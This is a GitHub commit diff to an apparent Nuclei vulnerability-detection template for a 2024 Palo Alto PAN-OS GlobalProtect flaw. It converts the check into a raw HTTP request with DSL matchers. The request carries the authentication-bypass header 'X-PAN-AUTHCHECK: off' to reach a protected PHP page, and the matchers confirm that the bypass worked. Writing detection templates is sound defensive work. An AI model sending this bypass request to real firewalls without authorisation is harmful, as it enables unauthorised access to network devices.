added dsl & updated req type

patch-16
Ritik Chaddha 2024-11-20 10:09:50 +05:30 committed by GitHub
parent 83a4e8f59b
commit f1d108b593
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 14 additions and 24 deletions

View File

@ -19,6 +19,8 @@ info:
epss-percentile: 0.85843
cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: paloaltonetworks
product: pan-os
fofa-query: icon_hash="-631559155"
@ -28,29 +30,17 @@ info:
tags: cve,cve2024,paloalto,globalprotect,kev
http:
- method: GET
path:
- "{{BaseURL}}/php/ztp_gate.php/.js.map"
headers:
X-PAN-AUTHCHECK: off
- raw:
- |
GET /php/ztp_gate.php/.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
matchers-condition: and
matchers:
- type: word
words:
- "<title>Zero Touch Provisioning</title>"
- "Zero Touch Provisioning (ZTP)"
- type: word
part: body
words:
- "/scripts/cache/mainui.javascript"
- type: word
part: header
words:
- "PHPSESSID="
- type: status
status:
- 200
- type: dsl
dsl:
- 'contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)")'
- 'contains(body, "/scripts/cache/mainui.javascript")'
- 'contains(header, "PHPSESSID=")'
- 'status_code == 200'
condition: and